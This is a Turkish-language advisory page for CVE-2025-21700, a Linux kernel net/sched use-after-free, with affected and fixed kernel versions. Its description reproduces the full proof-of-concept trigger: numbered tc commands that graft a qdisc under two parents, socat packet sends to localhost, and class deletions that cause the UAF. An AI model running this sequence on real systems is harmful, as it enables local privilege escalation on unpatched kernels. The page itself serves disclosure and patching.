CVE-2025-21700
Açıklama
Linux kernel içerisinde aşağıdaki güvenlik açığı giderilmiştir: net: sched: Alt qdisc'in bir ebeveynden diğerine taşınarak değiştirilmesine izin verilmemesi Lion Ackermann, aşağıdaki betikle yetki yükseltme için kötüye kullanılabilecek bir serbest bırakıldıktan sonra kullanım (UAF) durumu oluşturabilmiştir: Adım 1. kök qdisc oluşturun tc qdisc add dev lo root handle 1:0 drr adım 2. uaf durumunu göstermek için paket toplama amacıyla bir sınıf oluşturun tc class add dev lo classid 1:1 drr adım 3. iç içe geçirme için bir sınıf oluşturun tc class add dev lo classid 1:2 drr adım 4. qdisc'in aşılanacağı bir sınıf oluşturun tc class add dev lo classid 1:3 drr adım 5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 adım 6. tc qdisc add dev lo parent 1:2 handle 3:0 drr adım 7. tc class add dev lo classid 3:1 drr adım 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo adım 9. Sınıf/qdisc düzenini görüntüleyin tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 adım 10. hatayı tetikleyin <=== bu yama ile engellenmiştir tc qdisc replace dev lo parent 1:3 handle 4:0 adım 11. qdisc'leri/sınıfları tekrar görüntüleyin tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Şunlar gözlemlenmektedir: a) Değiştirme isteğine rağmen 4:0 için ebeveyn değişmez. Yalnızca bir ebeveyn olabilir. b) 4:0 için referans sayacı iki artmıştır ve c) hem 1:3 hem de 3:1 sınıfları buna işaret etmektedir. Adım 12. plug'a bir paket gönderin echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) adım 13. aşılanan fifo'ya bir paket gönderin echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) adım 14. uaf durumunu tetikleyelim tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 "Replace" işleminin anlamsal karşılığı aynı düğüm üzerinde silme/ekleme yapılmasıdır; adım 10'da olduğu gibi bir düğümden (3:1) silip başka bir düğüme (1:3) eklemek değildir. Daha karmaşık bir yaklaşımla bunu "düzeltebiliriz" ancak beklentiler üzerinde sonuçları olabileceği için yama, "bu tür yapılandırmalara izin vermeme" şeklinde önleyici bir yaklaşım benimsemiştir. Lion Ackermann <[email protected]> ile ortak çalışma.
Nasıl düzeltilir
- linux linux_kernel5.4.291, 5.10.235, 5.15.179, 6.1.129, 6.6.76, 6.12.13, 6.13.2 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| linux linux_kernel | 2.6.12 ≤ v < 5.4.291, 5.5 ≤ v < 5.10.235, 5.11 ≤ v < 5.15.179, 5.16 ≤ v < 6.1.129, 6.2 ≤ v < 6.6.76, 6.7 ≤ v < 6.12.13, 6.13 ≤ v < 6.13.2 | 5.4.291, 5.10.235, 5.15.179, 6.1.129, 6.6.76, 6.12.13, 6.13.2 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.